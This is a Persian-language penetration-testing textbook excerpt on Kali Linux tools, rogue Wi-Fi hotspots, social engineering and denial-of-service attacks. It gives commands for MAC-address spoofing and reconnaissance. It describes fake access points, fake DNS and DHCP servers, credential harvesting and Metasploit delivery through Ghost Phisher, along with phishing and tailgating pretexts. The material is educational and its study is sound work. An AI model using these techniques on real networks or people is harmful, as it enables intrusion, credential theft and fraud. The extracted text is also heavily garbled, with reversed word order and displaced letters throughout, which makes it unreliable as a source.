 که است (rescue shell) رهایی پوسته یک کردن باز نهایی نتیجه .کند عبور لینوکس هویت
 صورت این درغیر دهید، انجام را فراوانی کارهای دهد می امکان شما به که باشد می ای پوسته
 .ندارید را ها آن انجام امکان

 
 خلاصه

 .کردید مشاهده را امنیت به مربوط های جنبه ویژه به لینوکس عامل سیستم ،فصل این در
 برای مشترک کار یک که کردید مشاهده را لینوکس های اسکریپت نوشتن نحوه همچنین
 شدید. آشنا لینوکس مشترک هک روش چند با ،سرانجام .است نفوذ کنندگان تست
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 فصل اهداف

 :بود دیخواه قادر ،فصل نیا خواندن از پس
 کنید. می درک را لینوکس کالی 
 کنید. استفاده لینوکس کالی های ویژگی از 
 با لینوکس کالی در (ابزارهاtools) کنید. کار 

 شما برای لینوکس امنیت درک همچنین و لینوکس از ای پایه دانش باید 10 و 9 های فصل در
 .داشتیم لینوکس شدن هک مشکلات و نفوذ تست به نگاهی 10 فصل در .شود فراهم
 برای خاص طور به لینوکس کالی توزیع .کرد خواهیم کشف را نوکسیل یکال ،فصل این در
 است ابزارهایی از پر سادگی به .است شده گرفته نظر در سایبری امنیت و ای رایانه جرایم ،هک
 گاهی جدید های نسخه که باشید داشته توجه باید .شود تفادهاس نفوذ تست برای تواند می که

 حذف یا اضافه است ممکن ابزارها از برخی .دهند می تغییر را موجود ابزارهای مجموعه اوقات
 .شوند

 
 Kali Linux تاریخچه

 که فروشندگانی ،Offensive Security توسط کالی .است Debian Linux توزیع بر مبتنی
 ارائه نیز را Offensive Security Certified Professional (OSCP) هینامهگوا صدور آزمون
 برخی ،روند می و آیند می که دارند وجود ابزارهایی که حالی در .شود می نگهداری ،دهند می
 اند. شده گنجانده ها آن در همیشه Burp و nmap، Wireshark، Metasploit مانند ها آن از

 و بوده Knoppix لینوکس اساس بر توزیع این .است BackTrack Linux جانشین کالی
 .بود نفوذ تست به مربوط ابزارهای از ای گسترده طیف شامل همچنین

 
  کالی مبانی

 ماشین یک در اغلب .کالی (/https://www.kali.org) باشد می رایگان دانلود یک کالی
 لود (هستند رایج های زینهگ VMware Workstation یا Oracle Virtual Box) مثل مجازی
 شکل در که طور همان) گیرید کار به را آن (،installingنصب) بعداز کنم می توصیه .شود می
 . (است شده داده نشان 1-11
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 Kali Linux Live .11-1 شکل
 

 پل صورت به را VM شبکه معمولاً ،نفوذ تست برای آن از استفاده با کالی آموزش هنگام من
(bridge) آدرس یک دستی صورت به و کنم می نظیمت IP با ثابت ifconfig eth0 

191.168.0.XXX رایگان دانلود یک همچنین که) اوراکل مجازی جعبه در .کنم می تنظیم را 
 امپیوترک کشویی لیست در توان می را تنظیمات این (https://www.virtualbox.org ؛ دارد
 استفاده کالی برای مجازی ماشین یک از آن جای به اگر که باشید داشته توجه .کنید پیدا
 هر ،دهید می انجام را تست عملیات خود هدف عنوان به دیگر مجازی ماشین یک با و کنید می
 شکل .کنید استفاده شبکه میزبان تنظیمات از فقط ،پل جای به پس ،باشند می میزبان یک در دو
 .دهد می نشان را Oracle Virtual Box شبکه تنظیمات 2-11

https://www.virtualbox.org/
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 .Oracle Virtual Box Settings اوراکل مجازی جعبه تنظیمات .11-2 شکل
 

 اصلی منوی . (گردد می بر root به آن پیشینه که) باشد می toor کالی فر  پیش عبور رمز
 .کنید می مشاهده 11-3 شکل در که است چیزی همان
 تفکیک به را ها برنامه کالی که است این گیرد می قرار توجه مورد بلافاصله که زیچی اولین

 تحلیل و تجزیه ،پذیری آسیب تحلیل ،اطلاعات آوری جمع مانند ،ها گروه براساس کارکردها
 و ای رایانه جرایم (،Exploitationبرداری) بهره ابزارهای ،عبور رمز حملات ،وب های برنامه
 کرده مشاهده کتاب این در قبلاً که nmap مانند ابزارها این از برخی .کند می سازماندهی غیره
 کرد. خواهیم بررسی را ابزارها این از برخی بعدی بخش در ،اید
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 Kali Tools کالی ابزارهای

 ها آن از تعدادی ،بخش این در .باشد می ابزار صدها شامل کلمه واقعی معنای به لینوکس کالی
 توان می را ابزارها این از یک هر .کرد خواهیم بررسی ،هستند مفید بسیار نفوذ ستت برای که را
 که باشد می صورت بدین فصل هدف .کرد کاوش شده ارائه اینجا در آنچه از بیشتری عمق با

 شما به را ابزار چندین از بنیادی استفاده و ساخته آگاه است موجود کالی در آنچه از را شما
 نفوذتان های تست با را ارتباط بیشترین که کنید انتخاب را ابزاری توانید می سپس .دهد نشان
 .کنید صرف ها آن روی بر کردن پیدا تسلط برای را خود وقت کمی و داشته
 

recon-ng. 

 مکان یک در را شناسایی ابزارهای از وسیعی طیف که باشد می منظور بدین recon-ng ابزار
 سیستم مجدد اجرای برای واحد ابزار این از توانید می ترتیب بدین .کند می آوری جمع واحد
 .دهد می نشان را اصلی صفحه 11-4 شکل .کنید استفاده هدف
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 .کنید تایپ را show modules ،دهد انجام توان می کاری چه اینکه درباره ای ایده دریافت برای
 .است شده داده نمایش وجودم های ماژول از لیستی ،شود می مشاهده 11-5 شکل در که طور همان

 
 Recon-ng .11-4 شکل

 
 Recon-ng نشانگر ماژولهای .11-5 شکل
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 show از توانیدد  مدی  سدپس  .کنیدد  مدی  تایدپ  را مداژول  کامدل  نام سپس و use ،ماژول هر برای

options و show info طدور  همدان  ،کنید مشاهده را ماژول آن از استفاده نحوه تا کرده استفاده 
 .است شده داده نشان 11-6 کلش در که

 
 .Recon-ng ماژول از استفاده .11-6 شکل

 

 ،است شده داده نشان 11-7 شکل در که طور همان .کنیم اجرا را خاص مورد یک بیایید
 :از عبارتند کرد خواهیم اجرا ما که خاصی دستورات

.use recon/domains-vulnerabilities/xssposed  
.show info  

.set source chuckeasttom.com  
.run  

 نشان اما ،نیست سایت بین نویسی اسکریپت اجرای مستعد نظر مورد سایت ،حالت این در
 .است آسان بسیار recon-ng از استفاده که دهد می



 آموزش اصول و مفاهیم تست نفوذ 312 

 

 
 recon/domains-vulnerabilities/xssposed .11-7 شکل

 

Dmitry. 

 .باشد می اسکن و جستجو ابزار یک اصل در و است، Deepmagic اطلاعات آوری جمع ابزار
 .دهد می نشان را موجود های گزینه 11-8 شکل

 
 .Dmitry .11-8 شکل
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 تایدپ  .کدنم  اسدتفاده www.chuckeasttom.com سایت وب در Dmitry از دوباره دهید اجازه
 کنیم می

.dmitry -i -s -e www.chuckeasttom.com 

 -i جستجوی یک whois باشد می. 
 -s فرعی های دامنه جستجوی (subdomains) باشد می. 
 -e باشد. می ایمیل های آدرس جستجوی 

 .دهد می نشان را نتایج 11-9 شکل

 
 .Dmitry اسکن .11-9 شکل

 

 که باشد می استفاده برای آسان ابزارهای از دیگر یکی Dmitry ،کنید می مشاهده که طور همان
 .است لینوکس کالی از قسمتی
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Sparta. 

 یک در را پذیری آسیب اسکنرهای از بسیاری به دسترسی امکان شما به که ستا ابزاری
 :جمله از ،دهد می دستگاه

 Mysql-default. 
 Nikto. 
 Snmp-enum. 
 Smtp-enum-vrfy. 
 Snmp-default. 
 Snmp-check. 

Sparta فرمان خط از استفاده جای به همچنین (Command line)، ابزار از GUI استفاده آسان 
 شود. می اضافه اسکنر به که دهد می نشان را میزبانی 11-10 شکل .کند می

 
 Sparta اصلی صفحه .11-10 شکل
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 داده نشان 11-11 شکل در که باشد می اولیه nmap اسکن شامل Sparta ،دیگر موارد میان در
 .است شده

 
 

 Sparta Brute Force Cracker .11-11 شکل
 

 برایbrute force یک شامل حتی اسپارتا ،است شده ادهد نشان 11-12 شکل در که طور همان
 .باشد می نیز عبور رمز شکستن

 

 
 Sparta Brute Force Cracker .11-12 شکل
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John the Ripper. 

John the Ripper نسخه یک لینوکس کالی .است عبور رمز شکستن برای شده شناخته ابزاری 
 دیده 11-13 شکل در که دارد Johnny نام به GUI نسخه یک و John Ripper از پوسته
 .شود می

 
 .Johnny .11-13 شکل

 

 به باید حال این با باشد. می آسان نسبتاً گرافیکی کاربری واسط با بخصوص آن از استفاده
 شکستن ابزار هر .ندارد وجود تضمینی عبور رمز شکننده یا کراکر هیچ که باشید داشته خاطر
 .دهد انجام عبور رمز شکستن برای را خود تلاش تمام تواند می سادگی به عبور رمز
 

Hashcat. 

 عبور رمزهای یافتن در سعی که باشد می (rainbow table) کمان رنگین جدول ابزار یک
 گرافیکی کاربری واسط که باشید داشته توجوه باید و است (shellپوسته) نوع از کاملا .دارد
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(GUI) هش های فرمت انواع با تواند می که باشد می رتصو بدین آن اصلی قوت نقطه .ندارد 
 .کنند ذخیره مختلف های راه از را خود عبور رمزهای توانند می مختلف های اپلیکیشن .کند کار
 فرمت چندین تواند می Haschcat ،است شده داده نشان 11-14 شکل در که طور همان

 .کند مدیریت را Mac OS X جمله از پرکاربرد

 
 Hashcat .11-14 شکل

 

Macchanger. 

 ارسال شما Kali Linux دستگاه که باشد می MAC آدرس تغییر منظور به خاص ابزار این
 کلاهبرداری ،همچنین .کند می دشوارتر را کالی ماشین به حمله ردیابی مسئله این .کند می

MAC 11-15 شکل در .باشد هویت احراز های حالت از برخی زدن دور برای راهی تواند می 
 .است شده داده نشان موجود macchanger های گزینه

macchanger که کنید می مشاهده 11-15 شکل در .باشد می استفاده برای آسان بسیار ابزاری 
 :است مرحله سه بنیادی ترکیب یا سینتکس .است شده تشکیل دستور چند از فقط
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   :کنید خاموش را خود شبکه کارت .1 مرحله
ifconfig eth0 down 

 :کنید اجرا زیر صورت به را Macchanger 2 مرحله
macchanger -m a1:b2:c3:11:22:33 eth0 

 :کنید تنظیم تصادفی عدد تعدادی روی آنرا یا
macchanger -r eth0 

 :بگیرید پشتیبان خود شبکه ازکارت .3 مرحله
ifconfig eth0 up 

 .است ریشه سطح امتیازات نداشتن مسئله ترین رایج ،خطا بروز صورت در

 
 macchanger .11-15 شکل

 

   دیباش داشته توجه
 کده  دارد وجدود  ای شده شناخته اشکالات ،ردیگ می قرار معمولاً استفاده مورد ifconfig اگرچه
 با ،iproute2 بسته دارد، وجود گرید نهیگز کی است. شده ذکر man صفحه در ها آن از یبرخ
 آدرس ریید تغ و واسدط  کید  آوردن نییپدا  و بدالا  یبدرا  معدادل  ip دسدتورات  نجدا یا در .ip ابزار

MAC دارد: وجود آن 
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ip link set eth0 down. 
ip link set address a1:b2:c3:11:22:33 eth0. 
ip link set eth0 up. 
Ghost Phisher  .  

 .دهد می نشان را یاصل صفحه 11-16 شکل است. جالب عملکرد نیچند با متنوع کاملاً یابزار

 
 Ghost Phisher .11-16 شکل

 

 از یکی به را شما Kali Linux دستگاه که است یماتیتنظ یدارا چپ سمت اول tab چهار هر
 کند: لیتبد ریز موارد
 دسترس نقطه کی(ی AP) یجعل میس یب 
 سرور کی DNS یجعل 
 سرور کی DHCP یجعل 
 سرور کی HTTP یجعل 

 harvesting) جلسه برداشت و hijacking به مربوط اطلاعات یبرا هایی tab نیهمچن

credentials) دارد وجود. 
 شما یبرا ،"کردن هک یعموم های کیتکن" ،12 فصل خواندن از بعد GHOST Trap تب
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 که دیکن یانداز راه یجعل تیسا وب کی دهد می امکان شما به تب نیا بود. خواهد دتریمف
 کنند می دیبازد یجعل تیسا وب از که هایی کامپیوتر یرو را Metasploit های اکسپلویت
 .دیکن مشاهده 11-17 شکل در دیتوان می را مورد نیا کند. دانلود

 
  GHOST Trap ماتیتنظ Ghost Phisher .11-17 شکل

 

 لیتبدد  دام یندوع  بده  را خدود  Kali Linux دسدتگاه  دهد می امکان شما به ها tab نیا از کی هر
 باشد. دیمف اریبس نفوذ تست در تواند می که یدکن
 

 خلاصه

 گرفت. قرار یبررس مورد نوکسیل یکال در موجود یاساس یابزارها از یاریبس فصل نیا در
 یبرخ با را شما که بود نیا فصل نیا از هدف .باشد می ابزار صدها دارای یواقع یمعنا به یکال
 شما دهد. ائهار شما به را ها آن عملکرد با هیاول ییآشنا سطح و کرده آشنا تر رایج یابزارها از
 نیا با شتریب ییآشنا صرف را یشتریب زمان دیبا ،دیده می حیترج که ییابزارها افتنی از پس

 .دیکن خاص یابزارها
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 فصل اهداف

 بود: دیخواه قادر فصل، نیا خواندن از پس
 دیکن استفاده نوکسیل یکال از یاساس عملکرد انجام یبرا. 
 کنید. درک را یاجتماع یمهندس  
 دیکن شروع را سیسرو انکار حمله. 
 نیا .دیباش آشنا ها آن با دیبا که شود می استفاده نفوذ( تست )در هک در یکل های کیتکن
 شما ،نیبنابرا کنند. می استفاده شما شبکه هیعل اغلب مهاجمان که باشد می ییکهایتکن موارد
 کنند، می استفاده نوکسیل یکال از نهایا از یبرخ .دیکن تست موارد نیا یبرا را خود شبکه دیبا
 به یازین گرید یبرخ اما ،شد بررسی "نوکسیل یکال بر ای مقدمه" 11 فصل در آن مورد در که
 ندارند. یکال
 

 Wi-Fi تست
 از یبرخ و موضوع خلاصه طور به فصل نیا در است. ازین مورد وضوح به نفوذ تست در
 و میکن می یمعرف کرد استفاده Wi-Fi به مربوط تیامن تست یبرا انتو می که را هایی کیتکن
 ارائه Wi-Fi به حمله یبرا یتر خاص های کیتکن ،"نفوذ تست یاضاف نیعناو" ،18 فصل در
 .ودش می

 .دیکن جادیا Hotspot کی
 (evil twinی)طانیش یدوقلو حملات که سرکش، Hotspot حملات ،Wi-Fi ریفراگ تیماه با
 میس یب یدسترس نقطه کی میتنظ یبرا یادیز یها روش است. جیرا کاملاً شوند، می دهینام زین

 .میکن یبررس را مورد چند دیده اجازه دارد. وجود (WAP) یجعل
 

WiFi Pineapple 

 یبرا و باشد می Wi-Fi نفوذ تست ابزار یتعداد شامل ابزار نیا است. Hak5 LLC از یمحصول
 انجام تواند می WiFi Pineapple که ییکارها از یکی کند. می دهاستفا وب واسط از یکربندیپ

 شوند می متصل آن به که را هایی دستگاه سپس است. سرکش یدسترس نقطه یانداز راه دهد،
 راWiFi Pineapple کرد. استفاده ها آن کیتراف جذب یبرا ها آن از توان می و کند می یابیرد
 .دیکن هیته /https://www.wifipineapple.com لینک از دیتوان می
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 دیکن لیتبد WAP کی به را خود تاپ لپ
 از یبرخ به دیبا تاپ لپ ابتدا دارند. را میس یب یدسترس تیقابل مدرن های تاپ لپ از یاریبس

 منبع آن به را یورود های بسته بتواند تا شود متصل همراه( تلفن ای Wi-Fi) نترنتیا منابع
 تاپ لپ میس یب یدسترس نقطه به که هایی دستگاه های داده شاهدهم یبرا نیهمچن کند. تیهدا
 نیا یبرا Wireshark ای tcpdump باشد. اجرا حال در sniffer بسته چند دیبا شوند، می لمتص
 قرار بحث مورد "پذیری آسیب اسکن" ،8 فصل در دو هر و کرد، خواهند کار یخوب به منظور
 گرفتند.

 یسادگ به ندوزیو در است، شده داده نشان 10 ندوزیو یراب 12-1 شکل در که طور همان
 به ماتیتنظ نیا افتنی نحوه که دیباش داشته توجه .دیکن استفاده شبکه ماتیتنظ از دیتوان می
 جهینت Cortana یجستجو در ماتیتنظ پیتا ،10 ندوزیو در دارد. یبستگ شما ویندوز نسخه
 یرو بر دیبا شبکه ماتیتنظ به دنیرس یبرا که آورد، می ارمغان به شما یابر را نترنتیا و شبکه
 .دیکن کیکل ها آن

 
 .10 ندوزیو .Mobile Hotspot ماتیتنظ .12-1 شکل

 

 تب .دیا کرده استفاده Airplane mode دوم، تب احتمالاً و Wi-Fi اول، تب از بارها احتمالاً
 شود، می فعال آن یرو بر کیکل با کند. می لیتبد سیار hotspot کی به را شما تاپ لپ سوم
 ریتصو مانند را Go to Settings نهیگز و کرده راست کیکل آن یرو بر دیتوان می آن از پس
 .دیکن افتیدر 12-2
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 Mobile Hotspot کردن روشن .12-2 شکل

 

 مشداهده  را 12-3 شدکل  در شده داده شینما صفحه ،دیکن کیکل Go to Settings یرو یوقت
 کرد. دیخواه

 
  سیار Hotspot ماتیتنظ .12-3 کلش

 

 تعدداد  دیتوان می نیهمچن است. شده یکربندیپ شبکه عبور رمز و (random name) یتصادف نام
 12-4 شدکل  در کده  طدور  همدان  .دید کن مشاهده هستند متصل حاضر حال در که را هایی دستگاه
 .دیده رییتغ را تمایتنظ سپس و کرده کیکل Edit دکمه یرو بر دیتوان می دیکن می مشاهده
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  Wi-Fi ماتیتنظ دادن تغییر .12-4 شکل

 به را خود 10 ندوزیو دستگاه که است بدیهی کار کی واقع در ،دیکن می مشاهده که طور همان
 .کند می میتنظ دیخواه می که ینام هر با میس یب یدسترس نقطه کی عنوان

 Hotspot عنوان به Kali از استفاده
 کننده تست عنوان به که است یمختلف یابزارها از مملو یکال که دیباش تهداش توجه دیبا اکنون
 پوسته ابزار کی نیا است. wifi-honey ابزارها نیا از یکی بود. خواهد دیمف شما یبرا نفوذ
(Shell) چه میبفهم دیبا آن، از استفاده از قبل است. آسان اریبس آن از استفاده اما ،باشد می 

 جمله: از دهد، می انجام را کار نیا که دارد وجود دستور نیچند .میدار میس یب یاآداپتوره
netstat -i 

ifconfig -a 
 دهد. می نشان را ifconfig -a دستور جینتا 12-5 شکل

 
 ifconfig –a با میس یب یآداپتورها یبرا جستجو .12-5 شکل

 است. نشده داده اننش یمیس یب آداپتور چیه که دیشو بیعج مورد کی متوجه دارد احتمال
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 ،باشد می صورت بدین مسئله کند. می دشوار اریبس را honey pot Wi-Fi یانداز راه امر نیا
 Oracle مختص ) هستم یمجاز نیماش کی در نوکسیل یکال از استفاده حال در زمانیکه

Virtual Box) کی عنوان به میس یب شبکه کارت ،یمجاز نیماش کی داخل در کار هنگام 
 اکنون کرد. خواهم استفاده eth0 از حالت، نیا در ،نیبنابرا شود. می ظاهر یمیس شبکه کارت

 .دیده پوشش را مورد نیا ،Wifi-Honey از استفاده با
 که کنید مشاهده تا کرده شروع help دستور با ،دیا نکرده استفاده Wifi-Honey از قبلاً اگر
 است. شده داده نشان 12-6 شکل در که طور همان ،دهد می انجام کاری چه و ستیچ ها نهیگز

 
 Wifi-Honey دستورالعمل .12-6 شکل

 

 بده  و دید بده کاندال  کید  و SSID کید  خود honey pot به دیبا ،دیکرد مشاهده که طور همان
Wifi-Honey کدام از دهید فرمان (واسطinterface) را کدار  نید ا دیید ایب ،نیبنابرا کند. استفاده 

 .دیکن مشاهده 12-7 شکل در را آن توان می که میده انجام

 
 

 Wifi-Honey میتنظ .12-7 شکل
 

 افتی ها فایل از یبرخ ،دیدار گرید اپلیکیش کی با (conflict) تناقض مانند یمشکل اگر اکنون
 VM از )اگر یمجاز نیماش به توجه با .دهد می اطلاع شما به را موضوع نیا WifiHoney نشد،
 یمجاز نیماش که افتندیدر افراد از یاریبس باشد. میس یب کارت است کنمم (،دیکن می استفاده

 دارد. را عملکرد نیبهتر یخارج USB میس یب کارت با
 Kali Linux دستگاه از میس یب یدسترس نقطه کی اکنون برود، شیپ خوب زیچ همه اگر اما
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 را sniffer بسته دیبا اکنون ،دیده می انجام ندوزیو با که یکار مانند قاًیدق .دیکن می اجرا خود
 بود. خواهد مناسبی انتخاب دارد، وجود Linux در tcpdump که آنجا از .دیکن روشن زین
 

 Administration WAP تست

 واقع، در .دیکن یبررس را موجود میس یب یدسترس نقاط دیخواه می شما ،WAP جادیا از جدا
 قسمت نیمهمتر میس یب یدسترس نقطه ت.اس برخوردار یشتریب تیاهم از احتمالاً قسمت نیا

 و Wi-Fi به ساده اتصال با کار نیا .دیکن تست را آن تیامن که است مهم است. میس یب شبکه
 ترین ییابتدا از یحت ستمیس اگر شود. می انجام آن administrative صفحه به ورود سپس
 :شامل بدیهی مراحل .شوید موفق دینبا ،باشد برخوردار تیامن
 از دیکن می استفاده Linux از اگر ای ) دیکن اجرا را ipconfig اتصال، از پس .1 لهمرح

(ifconfig آدرس و IP دروازه(gateway) دیکن افتیدر را. 
 .دیشو متصل gateway روتر به و کرده باز را خود مرورگر .2 مرحله 

 دیتوان می فر . شیپ عبور های رمز با administrative صفحه به ورود یبرا تلاش .3 مرحله
 بی فر  شیپ عبور رمز" در نترنتیا ساده یجستجو با را WAP فر  شیپ عبور های رمز
 نقطه مارک هر ای Linksys، Belkin، Huawei با xxx آن در که دیکن افتیدر " xxx سیم

 .شود می نیگزیجا میس یب (AP) یدسترس

 کرد. نخواهد کار یراحت به باشد، اربرخورد تیامن ترین ییابتدا از یحت ستمیس اگر هم، باز
 در باشد. تاننفوذ تست از یبخش دیبا قطعاً نیبنابرا و است آسان نسبتاً تست کی ،آن انجام
 یهنگام .دیکن دایپ یدسترس ادمین (Interface واسط) به میس یب طور به دیباش قادر دینبا واقع،
 یکربندیپ یدرست به اگر ،دیکن دایپ یدسترس روتر IP آدرس به دیخواه می بار نیاول یبرا که
 .کرد نخواهید مشاهده ستمیس به ورود یبرا را ادمین صفحه یحت باشد، شده
 شود. ثبت شما نفوذ تست گزارش در دیبا تست نیا در تیموفق سطح هر که است یهیبد
 

 Wi-Fi مشکلات ریسا

 تواند می نهایا از کی هر .دیباش آگاه ها آن از دیبا که هستند یگرید Wi-Fi حملات ریز موارد
 .باشد شما شبکه یبرا یخطر
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 کردن سدودم (Jamming) : گنالیس کردن مسدود در یسع یسادگ به Wi-Fi تا ددار 
 میس یب یدسترس نقطه به سیسرو انکار حمله اساساً شوند. میس یب شبکه وارد نتوانند کاربران
 .باشد می
 تیهو احراز عدم(De-authentication) : بسته ای تیهو احراز بسته ارسال logoff نقطه به 

 و کاربر بیفر منظور به تواند می نیا کند. می جعل را کاربر IP آدرس بسته .میس یب یدسترس
 .شود انجام (rogue access point) سرکش یدسترس نقطه به ورود سپس

 حمله ( WPS (Wi-Fi Protected Setup: شده محافظت ماتیتنظ (WPS) به اتصال یبرا 
WAP از PIN حمله کند. می استفاده WPS آن دارد یسع PIN به کند، یریرهگ انتقال در را 
WAP رمز سپس و شود متصل WPA2 ددبدز را. 

 عبور رمز شکستن (Cracking the password) : نیا چرا که دیبپرس خود از دارد احتمال 
 شکستن زمانیکه که باشد می اینگونه آن لیدل شود. نمی داده پوشش یشتریب اتیجزئ با مورد

WEP اما بود آسان اریبس WPA2 (ردیگ می قرار استفاده مورد گسترده طور به امروزه که) 
 مربوط WAP ماتیتنظ نیهمچن و عبور رمز یدگیچیپ به میس یب شکستن مشکل .نیست نیچن
 .دیکن تست را موارد آن ،میمستق ممیزی با یسادگ به که است بهتر اریبس شود. می

 

  (Social Engineering) یاجتماع یمهندس

 به دینبا که را یاطلاعات بتوانند افراد تا است افراد یمهارتها از استفاده هنر یاجتماع یمهندس
 یاریبس ،میبگو صادقانه .دهند قرار اختیارتان در دهند انجام دینبا که را ییکارها ای بدهند شما
 قبلاً که دیریبگ نظر در را wifi-honey هستند. یاجتماع یمهندس از یعنصر یدارا حملات از
 به شروع و شود می مستقر فرودگاه در یمهاجم یوقت مثال عنوان به شد. بحث فصل نیا در

 مورد بدافزار به توجه با .باشد می یاجتماع یمهندس ینوع نیا کند، می " freewifi " پخش
 سپس .باشد می لیمیا وستیپ قیطر از ربدافزا ارائه های راه ترین جیرا از یکی ،5 فصل در بحث
 کند. باز را وستیپ تا دیکن متقاعد را رکارب دیبتوان که دارد یبستگ نیا به حمله تیموفق
 یبرخ انجام به رندهیگ قیتشو یبرا که است یارتباطات شامل دور راه از یاجتماع یمهندس
 یمهندس یبرا یلفمخت یکردهایرو است. شده یطراح اطلاعات یبرخ ارائه ای اقدامات
 شود: می داده شرح نجایا در خلاصه طور به ها آن ترین جیرا که دارد، وجود یاجتماع
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 تیفور(Urgency) : ها آن اگر که کند متقاعد را رندهیگ کند می یسع رویکرد نیا 
 .دهند می دست از را یزیچ ای داد خواهد رخ یبد اتفاق نکنند، اقدام بلافاصله

 اقتدار(Authority) : که کند متقاعد را هدف تا کند می تلاش مهاجم ،کردیرو نیا با 
 .کند موافقت دیبا (Target)هدف و است اقتدار با یفرد واقع در مهاجم

 حرص یا طمع (Greed) : دیکن یباز هدف طمع با مطابق گفت توان می ساده بیان به. 

 کار چگونه عمل در فوق واردم که مینیبب دییایب .دیکن بیترک را فوق موارد دیتوان می البته
 مثال، عنوان به .ردیگ می قرار استفاده مورد معمولاً که است یروش تیفور کردیرو .کنند می
 یبرا و است عمده نقص کی یدارا رندهیگ وتریکامپ که دهد نشان است ممکن لیمیا کی

 کردیرو کند. اعمال را شده وستیپ (patch)وصله بلافاصله دیبا کامپیوتر آن از محافظت
 کارت ای یبانک حساب در یمشکل دهد می نشان که باشد می هایی لیمیا مورد در یمشابه
 آدرس را آن بلافاصله و نکند کیکل وندیپ یرو رندهیگ اگر و دارد وجود رندهیگ یاعتبار
 کاری فکر بدون و فوراً کاربر که است نیا هدف .دیآ می در قیتعل حالت به یو حساب ندهد،
 است. مهاجم نفع به ،کهدهد انجام
 کند می ادعا لیمیا نیا است. نگیشیف های لیمیا از یاریبس مشترک یمبنا (،Authorityطمع)
 دیبا کاربر معمولاً باشد. داشته پول یادیز اریبس مبلغ تواند می ،رندهیگ اقدام صورت در که
 رندهیگ طمع هب آن، اساس هم باز دهد. ارائه را اطلاعات یبرخ ای کند کیکل وندیپ یرو

 .دارد بستگی
 در کارمندان از یبرخ یبرا نگیشیف های لیمیا از یبرخ ارسال نفوذ، کننده تست کی عنوان به

 برابر در شرکت کی کارکنان ایآ نکهیا دنید یبرا راه تنها .باشد می یخوب دهیا هدف، شرکت
 .باشد می ها ایمیل اینگونه از یبرخ ارسال کنند، می مقاومت نگیشیف های لیمیا
 استفاده نظر مورد امکانات به یکیزیف یابیدست یبرا اوقات یگاه زین یاجتماع یمهندس از
 ،هستید یجزئ صدمات دارای اینکه کردن بازی نقش متداول، های کیتکن از یکی شود. می
 یبرخ ای دیکل کارت به که است یورود در یجلو در قراردادن سپس و عصا از استفاده دیشا
 یب و دیهست خود بیج در دیکل کارت یجستجو در که دیکن نمودوا و دیدار ازین شابهم ایاش از

 نظر به منطقی نتیجه در (،دیبسپار بخاطر را کردن بازی نقش برای )عصا دیباش لرزان و ثبات
 دهد. راه ساختمان داخل به را شما که شود پیدا فردی که رسد می
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DoS. 

 کی حد از شیب سربار در یسع که است ای حمله هر (Denial of service) سیسرو انکار
 انکار حملات دهد. پاسخ سیسرو یقانون های درخواست به تواند نمی که یطور به دارد ستمیس

 را DoS شده شناخته راتییتغ ابتدا بخش، نیا در دارد. وجود یمنف و مشهور اریبس سرویس
 در را DoS حملات دهد می امکان اشم به که را ییرهاابزا از یبرخ سپس کرد، میخواه مرور
 کرد. میخواه یبررس ،دیده انجام نفوذ تست طول
 نیآفلا را سیسرو کی DoS حمله ،فیتعر طبق : (A word of caution)اطیاحت کلمه کی
 که را کاری و کسب .دیکن استفاده موارد نیا از یعاد یکار ساعات در دینبا هرگز کند. می
 انجام بانیپشت ستمیس یرو بر را DoS تست است بهتر .کنید مختل ،دیکن تست دیخواه می
 دقت با را زمان و خیتار دیبا ،دیکن تست را live ستمیس دیبا اگر . (live)زنده ستمیس نه ،دیده

 کار و کسب نوع به بسته که ،کند جادیا را کار و کسب در اختلال نیکمتر تا کرده انتخاب
 انتخاب دقت با را زمان و خیتار دیبا ،دیکن تست را live ستمیس دیبا اگر بود. خواهد متفاوت

 متفاوت کار و کسب نوع به توجه با .شود جادیا را کار و کسب در اختلال نیکمتر تا دیکن
 حدود شنبه صبح ،دیکن تست را تزایپ لیتحو شرکت کی سرور وب دیدار قصد اگر بود. خواهد
 اتمام از قبل تا دهد می یادیز زمان شما به که باشد، می مناسب انتخاب کی صبح 2 ساعت
 شود می انجام یمعمول مطب در تست اگر ،گرید طرف از .دیکن برطرف را مشکل یکار ساعت
 یک آغاز در و شب چهارشنبه را تست دهد، می انجام را یعاد یکار ساعات یکار هفته در که
 به ،باشید داشته وقت اشکال رفع یبرا شما کهباشد می گونهنیا دهیا .دیکن شروع یطولان هفته آخر
 .شود یابیباز قابل سرعت به تواند نمی و کند نیآفلا کاملاً را سیسرو شما تست که یصورت

 

 DoS معروف حملات

 درک شما یبرا حملات نیا کنم. می شروع سیسرو انکار حملات از یمختصر شرح با ابتدا در
 کند. می فراهم اند، کرده استفاده یواقع های ستمیس به مهاجمان که را یواقع حملات از یدرست
 

Syn Flood 
 یارتباط هر یبرا شبکه استاندارد ارتباطات است، شده داده نشان 12-8 شکل در که طور همان
 دارد. طرفه سه دادن دست کی به ازین (Server) دهنده سرویس و (Clientمشتری) نیب
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 طرفه. سه دادن دست .12-8 شکل

 

 یبرا را یمنابع ابتدا سرور کند. می ارسال روشن )یساز همگام SYN) پرچم با را ای بسته یمشتر
 (Acknowledgement دییتأ) ACK و SYN های پرچم با سپس دهد، می اختصاص اتصال
 لیتکم را اتصال ،ACK پرچم با ای بسته با دادن پاسخ با یمشتر سپس دهد. می پاسخ روشن
 کند. می

 درخواست یبرا را SYN های بسته یواقع لیس که کند می کار کلاینتی توسط SYN لیس یک
 نیا از کی هر یبرا را یمنابع سرور دهد. نمی پاسخ ها آن به هرگز ولی کند، می ارسال اتصال

 با ای بسته یبازرس با روالیفا برد. می نیب از را منابع آن تینها در و دهد می اختصاص اتصالات
 یریجلوگ امر نیا از یدرست به (stateful packet inspection) (SPI) مناسب یکربندیپ حالت
 کند. می
 

Smurf و Fraggle 

 کیتراف با هدف شبکه کی اشباع یبرا ICMP و IP یکلاهبردار بیترک از Smurf حمله در
 تیسا (،source)منبع تیسا است: شده لیتشک عنصر سه از Smurf شود. می استفاده
 به را شده اصلاح نگیپ کی منبع( تی)سا مهاجم . (target)هدف تیسا و (bounce)جستن
 کرده تغییر بسته کند. می ارسال جستن( تی)سا بزرگ شبکه کی (broadcast)پخش آدرس
 پاسخ نظر مورد تیسا به جستن تیسا در همه .باشد می نظر مورد تیسا منبع آدرس یحاو
 دهند. می

 UDP کیتراف از یادیز مقدار مهاجم کی آن در که است Smurf حمله ینوع Fraggleحمله
 و کند می ارسال (broadcast) پخش آدرس کی به (chargen) 19 و (echo) 7 پورت به را

 یبرا دروازه روالیفا / روتر یکربندیپ کند. می جعل را نظر مورد یقربان منبع IP آدرس
 کند. می یریجلوگ امر نیا از ،یورود شده پخش های امیپ از یریجلوگ
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DHCP Starvation. 
